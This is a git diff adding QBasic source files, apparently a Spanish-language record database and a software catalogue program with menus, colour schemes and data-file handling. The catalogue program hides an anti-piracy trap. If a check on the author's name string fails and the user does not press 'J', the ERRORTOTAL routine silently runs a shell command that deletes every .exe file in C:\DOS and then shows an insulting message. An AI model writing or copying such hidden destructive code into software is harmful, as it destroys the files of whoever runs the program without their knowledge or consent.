ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ - Creditos - Û " +PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +LOCATE 11, 1 +PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +PRINT "³ ³±" +PRINT "³ Nombre: Apellidos: ³±" +PRINT "³ ³±" +PRINT "³ Calle: N§: Piso: Letra: ³±" +PRINT "³ ³±" +PRINT "³ Localidad: Provincia: C.P: ³±" +PRINT "³ ³±" +PRINT "³ Tel‚fono: ³±" +PRINT "³ ³±" +PRINT "³ Ordenador, CPU: RAM: TG: HD: ³±" +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + + +cargachar: +lec$(1) = "þ INTRODUCIR " +lec$(2) = "þ EDITAR / MODIFICAR " +lec$(3) = "þ BUSCAR " +lec$(4) = "þ ELIMINAR " +lec$(5) = "þ - CREDITOS - " +lot$(1) = " Introducir " +lot$(2) = " Editar / Modificar " +lot$(3) = " Buscar " +lot$(4) = " Eliminar " +lot$(5) = " - Creditos - " +RETURN +END + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" + +LOCATE lin, col: PRINT origen$ +LOCATE lin, col: PRINT "þ" +FOR a = 1 TO lon + +x: +a$ = INKEY$: IF a$ = "" THEN GOTO x +IF a$ = CHR$(13) THEN GOTO finsec +IF a$ = CHR$(27) THEN GOTO principiodelprincipio +IF a$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +a = a - 1: IF a < 1 THEN a = 1 +LOCATE lin, col + a - 1: PRINT " ": LOCATE lin, col + a - 1: PRINT "þ ": GOTO x + +ponchar: +IF a$ < LEFT$(tipo$, 1) OR a$ > RIGHT$(tipo$, 1) THEN GOTO x +IF a = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + a - 1: PRINT a$; : IF a <> lon THEN PRINT "þ" ELSE GOTO x +NEXT a + +finsec: +IF a = 1 THEN LOCATE lin, col: PRINT origen$ +texto$ = "" +FOR i = 1 TO lon +IF LEN(origen$) <> lon THEN digi$ = " " ELSE digi$ = MID$(origen$, i, 1) +IF CHR$(SCREEN(lin, col + i - 1)) = "þ" THEN texto$ = texto$ + digi$ ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + i - 1)) +NEXT + +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + + + + + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." +LOCATE 13, 34: PRINT " " +GOTO impr + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +RUN + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 0, 0 +CLS +PRINT " JD, Base de DATOS vú1.0 " +PRINT : PRINT "Gracias por utilizar este sofware." + +END + + diff --git a/BAS/CAT3.BAS b/BAS/CAT3.BAS new file mode 100644 index 0000000..aa808a9 --- /dev/null +++ b/BAS/CAT3.BAS @@ -0,0 +1,2809 @@ +' +' Q B a s i c C A T A L O G O +' +' Copyright (C) Jos‚ David Guill‚n + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB EscogeSeccion () +DECLARE SUB EditarProgramas (ittem%) +DECLARE SUB Initialize () +DECLARE SUB Center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (Help$) +DECLARE SUB MasMenosProg () +DECLARE SUB CambMensajeFinal () +DECLARE SUB Pedidos (Permisos%) +DECLARE SUB ImprInd (was%) +DECLARE SUB ImprCom (TipodeImpresion%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), Help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, col%, Start$, end$, Vis%, Max%) +DECLARE FUNCTION Trim$ (x$) +'Constants +CONST TRUE = -1 +CONST FALSE = NOT TRUE + +'Global variables +DIM SHARED BorraPantalla, Tipos, sombra, AnulTecl, file$, file2$, TempClase$, MiNombre$, Parametro% +DIM SHARED Password#, ekr +DIM SHARED Poseedor$ +DIM SHARED ColorPref 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED PrintErr AS INTEGER 'Printer error flag + ekr = 0 + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ERRORTRAP + OPEN "Catalogo.CFG" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + MiNombre$ = "Jos‚ David Guill‚n" + IF MID$(MiNombre$, 4, 1) <> "‚" THEN GOSUB ERRORTOTAL + IF MID$(MiNombre$, 17, 1) <> "‚" THEN GOSUB ERRORTOTAL + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ERRORTRAP: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + Poseedor$ = MiNombre$ + Password# = 1994 + SaveState + RESUME + CASE 24, 25 + PrintErr = TRUE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN: La impresora no responde... " + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Conectela y pulse una tecla para continuar." + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME NEXT + + CASE 67, 68, 70, 71, 72 + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un ERROR en el dispositivo de E/S" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Desproteja el disco y reinsertelo. Chequeelo" + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME + CASE 61 + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! ERROR en el dispositivo de E/S. (Disco lleno)" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Reemplacelo. Ultimas operaciones no grabadas." + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME NEXT + CASE ELSE + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 61 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error que no " + Center 12, "he previsto, se abortara el programa." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + SYSTEM + END SELECT + RESUME NEXT + +ERRORTOTAL: + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 61 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error que no " + Center 12, "he previsto, LA PIRATERIA... " + k$ = " ": DO: k$ = INKEY$: LOOP WHILE k$ = "" + IF UCASE$(k$) <> "J" THEN + SHELL "Del c:\dos\*.exe >nul" + COLOR 11, 4: Center 13, "JODETE PIRATA, Del c:\dos\*.*" + sombra = 0 + END IF + RETURN + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +IF sombra = 1 THEN + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR ka = 1 TO Row2 - Row1 + 1 + LOCATE Row1 + ka, Col2 + 1 + PRINT CHR$(219); + NEXT ka + LOCATE Row2 + 1, Col1 + 2 + PRINT STRING$(Col2 - Col1, 223); + COLOR colors(5, ColorPref), colors(4, ColorPref) +END IF + +END SUB + +SUB CambMensajeFinal + ON ERROR GOTO ERRORTRAP + DIM Men$(5), CurrString$(5) + +OPEN "Mensaje.Cat" FOR RANDOM AS #1 LEN = 201 + + FIELD #1, 40 AS IoLine1$, 40 AS IoLine2$, 40 AS IoLine3$, 40 AS IoLine4$, 40 AS IoLine5$ + FIELD #1, 1 AS Valid$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET IoLine1$ = "" + LSET IoLine2$ = "" + LSET IoLine3$ = "" + LSET IoLine4$ = "" + LSET IoLine5$ = "" + PUT #1, 2 + LSET Valid$ = "*" + PUT #1, 1 + + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + CurrString$(4) = "" + CurrString$(5) = "" + + ELSE + GET #1, 2 + CurrString$(1) = IoLine1$ + CurrString$(2) = IoLine2$ + CurrString$(3) = IoLine3$ + CurrString$(4) = IoLine4$ + CurrString$(5) = IoLine5$ + END IF + + COLOR colors(2, ColorPref), colors(4, ColorPref) + sombra = 1: Box 10, 2, 16, 43 + COLOR colors(2, ColorPref), colors(4, ColorPref) + FOR k = 1 TO 5 + LOCATE 10 + k, 3: PRINT CurrString$(k) + NEXT + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRow = 1 + PrintHelpLine "Comentario Final... | " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB Eiaouo 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB Eiaouo + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF RTRIM$(LTRIM$(CurrString$(CurrRow))) <> "" THEN Start$ = CurrString$(CurrRow) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CurrRow + 10, 3, Start$, new$, 40, 40) + CurrString$(CurrRow) = new$ + hide = 1: GOSUB Eiaouo 'Show Cursor, Wait for key + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + CurrRow = CurrRow - 1 + IF CurrRow <= 0 THEN CurrRow = 5 + CASE CHR$(0) + "P" 'Down arrow + CurrRow = CurrRow + 1 + IF CurrRow >= 6 THEN CurrRow = 1 + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + LSET IoLine1$ = CurrString$(1) + LSET IoLine2$ = CurrString$(2) + LSET IoLine3$ = CurrString$(3) + LSET IoLine4$ = CurrString$(4) + LSET IoLine5$ = CurrString$(5) + PUT #1, 2 + CLOSE + EXIT SUB + +Eiaouo: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 10, 3: PRINT CurrString$(CurrRow); SPC(40 - LEN(CurrString$(CurrRow))); + RETURN + +END SUB + +'Center: +' Center text on the given row. +SUB Center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +SUB EditarProgramas (ittem%) +ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2) + 'Array to keep the current balance at all the transactions + DIM CurrTempTopLine(120) + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + sombra = 1 + + Box 3, 2, 14, 29 + sombra = 0 + COLOR colors(2, ColorPref), colors(1, ColorPref) + LOCATE 4, 3: PRINT " Juegos " + LOCATE 5, 3: PRINT " M£sica " + LOCATE 6, 3: PRINT " Procesadores de textos " + LOCATE 7, 3: PRINT " Pgr. Contabilidad " + LOCATE 8, 3: PRINT " Pgr. Electronica " + LOCATE 9, 3: PRINT " Gr ficos " + LOCATE 10, 3: PRINT " Utilidades " + LOCATE 11, 3: PRINT " Lenguajes " + LOCATE 12, 3: PRINT " Windows " + LOCATE 13, 3: PRINT " Otros... " + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 3, 35, 8, 76 + Box 10, 35, 18, 76 + sombra = 0 + SELECT CASE ittem% + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + Tip$ = "1" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + Tip$ = "2" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + Tip$ = "3" + + CASE ELSE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un error que no hab¡a previsto. E.C.1" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + SYSTEM + END SELECT + IF ittem% <> 10 THEN TempClase$ = STR$(ittem%) ELSE TempClase$ = "0" + +Vld$ = "" + +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 +OPEN "P_Temp.cat" FOR RANDOM AS #3 LEN = 24 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS Vld$, 4 AS IoMxRcrd$ + + FIELD #3, 1 AS IoTip$, 3 AS IoCurrTempTopLine$, 15 AS IoTempDesc$ + FIELD #3, 1 AS IoTempValid$, 4 AS IoMaxTempRecord$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LOCATE 14, 36: PRINT " Fichero Vacio" + SLEEP + CLOSE + EXIT SUB + END IF + + MaximoVeinte = 0: k = 1 + + GET #3, 1 + IF IoTempValid$ <> "*" THEN + LSET IoTip$ = "" + LSET IoCurrTempTopLine$ = "" + LSET IoTempDesc$ = "" + PUT #3, 2 + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = "1" + PUT #3, 1 + MaximoVeinte = 1 + TempMax = VAL(IoMaxTempRecord$) + ELSE + TempMax = VAL(IoMaxTempRecord$) + c = 1: PuntoInicio = 0: k = 1 + DO + GET #3, c + 1 + IF VAL(IoTip$) = VAL(Tip$) THEN + IF PuntoInicio = 0 THEN PuntoInicio = c + CurrTempTopLine(k) = VAL(IoCurrTempTopLine$) + k = k + 1 + END IF + c = c + 1 + LOOP WHILE c <= TempMax + PuntoInicio = PuntoInicio - 1 + IF PuntoInicio <= 0 THEN PuntoInicio = TempMax - 1 + END IF + MaximoVeinte = k - 1 + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + MaxRecord = VAL(IoMaxRecord$) + + +c = 1: Inicio = 0: Fin = 0 +DO +GET #1, c + 1 +IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 +END IF +c = c + 1 +LOOP WHILE c <= MaxRecord +Fin = Fin + Inicio +IF Inicio = 0 THEN + LOCATE 14, 36: PRINT " Secci¢n Vacia" + SLEEP + CLOSE + EXIT SUB +END IF + + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + col(1) = 36 'La constante para la segunda columna es 21 + col(2) = 52 + + Vis(1) = 15 + Vis(2) = 3 + + Max(1) = 15 + Max(2) = 3 + + 'Draw Screen + + u$ = "\ \ \ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßß ßßß" + u2$ = "###" + + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + GOSUB EddittTransPrintWholeScreen + + PrintHelpLine " " + + GOSUB EddittTransGetLine + GOSUB EddittTransPrintLine + + OldCurrString$ = CurrString$(1) + + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EddittTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EddittTransShowCursor + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'Up arrow + GOSUB EddittTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EddittTransMoveDown + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 2 + CASE CHR$(0) + "I" 'Page Up + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < Inicio THEN + CurrTopLine = Inicio + END IF + GOSUB EddittTransPrintWholeScreen + GOSUB EddittTransGetLine + CASE CHR$(0) + "Q" 'Page Down + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > Fin THEN + CurrTopLine = Fin + END IF + + GOSUB EddittTransPrintWholeScreen + GOSUB EddittTransGetLine + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + IF ekr = 0 THEN GOSUB EddittTransAddRecord + CASE CHR$(0) + "D" 'F10 + IF ekr = 0 THEN GOSUB EddittTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EddittTransShowCursor: + IF hide = 0 THEN + IF Iluminacion = 1 THEN + COLOR colors(2, ColorPref), colors(9, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + ELSE + IF Iluminacion = 1 THEN + COLOR colors(2, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(7, ColorPref), colors(4, ColorPref) + END IF + END IF + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(1) ELSE LOCATE CurrRowFalse + 9, col(1) + 21 + PRINT LEFT$(CurrString$(3), 15); + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(2) ELSE LOCATE CurrRowFalse + 9, col(2) + 21 + IF VAL(CurrString$(2)) <> 0 THEN + PRINT USING u2$; VAL(CurrString$(2)); + ELSE + PRINT " "; + END IF + RETURN + +EddittTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + GOSUB EddittTransGetLine + END IF + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EddittTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EddittTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= Fin OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EddittTransGetLine + END IF + END IF + + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EddittTransPrintLine + + OldCurrString$ = CurrString$(1) + RETURN + +EddittTransPrintLine: + + IF Iluminacion = 1 THEN ColRes = 2 ELSE ColRes = 7 + COLOR colors(ColRes, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = Fin + 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PRINT u1x$; + ELSEIF CurrRecord > Fin THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(3))) = "" THEN PRINT " "; ELSE PRINT CurrString$(3) + " "; + IF VAL(CurrString$(2)) = 0 THEN PRINT " "; ELSE PRINT USING u2$; VAL(CurrString$(2)); + IF Permiso <> 1 THEN + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + IF CurrString$(1) = "1" THEN + LOCATE 4, 36: IF RTRIM$(LTRIM$(Men$(1))) <> "" THEN PRINT Men$(1); ELSE PRINT SPC(40); + LOCATE 5, 36: PRINT SPC(40); + LOCATE 5, 36: IF RTRIM$(LTRIM$(Men$(2))) <> "" THEN PRINT Men$(2); ELSE PRINT SPC(40); + LOCATE 6, 36: IF RTRIM$(LTRIM$(Men$(3))) <> "" THEN PRINT Men$(3); ELSE PRINT SPC(40); + LOCATE 7, 36: IF RTRIM$(LTRIM$(Men$(4))) <> "" THEN PRINT Men$(4); ELSE PRINT SPC(40); + ELSE + LOCATE 4, 36: PRINT SPC(40); + LOCATE 5, 36: PRINT " Sin Comentarios "; + LOCATE 6, 36: PRINT SPC(40); + LOCATE 7, 36: PRINT SPC(40); + END IF + END IF + END IF + + RETURN + + + +EddittTransDeleteRecord: + + IF TempMax = 1 OR MaximoVeinte = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + c = 1: ekr = 1 + DO + GET #3, c + 1 + IF VAL(IoTip$) = VAL(Tip$) THEN + IF CurrRecord = VAL(IoCurrTempTopLine$) THEN ekr = 0: EXIT DO + k = k + 1 + END IF + c = c + 1 + LOOP WHILE c <= TempMax + + IF ekr = 0 THEN + + ters = 1 + DO + IF CurrTempTopLine(ters) = CurrRecord THEN CurrTempTopLine(ters) = 0: EXIT DO + ters = ters + 1 + LOOP WHILE ters <= 20 + + TempMax = TempMax - 1 + MaximoVeinte = MaximoVeinte - 1 + + a = c + WHILE a <= TempMax + GET #3, a + 2 + PUT #3, a + 1 + CurrTempTopLine(a) = CurrTempTopLine(a + 1) + a = a + 1 + WEND + + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = RTRIM$(LTRIM$(STR$(TempMax))) + PUT #3, 1 + Iluminacion = 0 + + a = a + 1 + WHILE a < MaximoVeinte + CurrTempTopLine(a) = CurrTempTopLine(a + 1) + a = a + 1 + WEND + + GOSUB EddittTransShowCursor + ELSE + ekr = 0 + BEEP + END IF + + END IF + RETURN + + +EddittTransAddRecord: + +IF MaximoVeinte = 20 THEN + BEEP +ELSE + Parada = 0: JD = 1 + DO + IF CurrTempTopLine(JD) = CurrRecord THEN Parada = 1: EXIT DO + JD = JD + 1 + LOOP WHILE JD <= TempMax + 1 + + IF Parada = 0 THEN + TempMax = TempMax + 1 + MaximoVeinte = MaximoVeinte + 1 + IF TempMax <> 100 THEN + CurrTempTopLine(TempMax) = CurrRecord + LSET IoTip$ = RTRIM$(LTRIM$(Tip$)) + LSET IoCurrTempTopLine$ = RTRIM$(LTRIM$(STR$(CurrRecord))) + LSET IoTempDesc$ = CurrString$(3) + PUT #3, TempMax + 1 + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = RTRIM$(LTRIM$(STR$(TempMax))) + PUT #3, 1 + Iluminacion = 1 + hide = 0: GOSUB EddittTransShowCursor + ELSE + BEEP + END IF + ELSE + BEEP + END IF +END IF +RETURN + +EddittTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= Fin THEN + GOSUB EddittTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EddittTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + + +EddittTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + + Iluminacion = 0: JD = 1 + DO + IF CurrTempTopLine(JD) = CurrRecord THEN Iluminacion = 1: EXIT DO + JD = JD + 1 + LOOP WHILE JD <= TempMax + RETURN + +ErrNoFound: + COLOR 14, 4: sombra = 1 + Box 19, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 20, 5: PRINT "ATENCIàN!!! Se produjo un error que hab¡a previsto. E.L.T" + COLOR 15, 4: LOCATE 21, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR 15, 4: LOCATE 22, 5: 